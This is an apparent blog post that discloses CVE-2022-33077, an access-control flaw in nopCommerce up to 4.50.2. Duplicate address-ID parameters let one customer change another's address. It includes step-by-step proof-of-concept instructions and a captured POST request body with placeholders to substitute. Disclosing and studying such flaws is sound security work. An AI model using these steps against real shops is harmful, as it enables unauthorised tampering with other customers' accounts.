Rohan Pagey Follow
Oct 14 · 2 min read · Listen

CVE-2022–33077: IDOR to change address of any customer via parameter pollution in nopCommerce <= 4.50.2

TL;DR: A POST request to edit the address endpoint involved two addressID parameters (one in the URL and other in the request body). Validation was present on the parameter present in URL, while the parameter in request body was used to update a customer's address.

Description

There is an access control vulnerability affecting nopCommerce (≤ 4.50.2) and also affecting the upcoming beta version (4.60). The vulnerability lies in the "addressedit" endpoint, and a malicious customer can modify addresses of other users on the site.

Proof of concept

1. Register 2 customers (C1 and C2) and add addresses (A1 and A2) for both of them respectively.

2. Note down the address Id of both the created addresses (let it be A1_ID and A2_ID). We will now login as C1 and modify A2.

3. Login as C1 and capture the POST request to edit your address as shown below. I've highlighted 4 parameters that you need to replace.

```
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 506
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

Address.Id=
<A2_ID>&Address.FirstName=testing&Address.LastName=123&Address.Email=h
ello@hello.lcom&Address.Company=&Address.CountryId=211&Address.StatePr
ovinceId=0&Address.City=sdv&Address.Address1=dsv&Address.Address2=&Add
ress.ZipPostalCode=sdv&Address.PhoneNumber=12&Address.FaxNumber=&__Req
uestVerificationToken=<C1_CSRF_TOKEN_HERE>
```

Upon firing the above request with C1's session tokens, the address of C2 will be updated. First the server is checking whether the addressID in the URL belongs to the Session token provided in the cookies, and then it is simply updating the address ID inside the POST request body. Logically, it should only update what it validates.

Video POC

https://www.youtube.com/watch?v=ccZxLXVdef0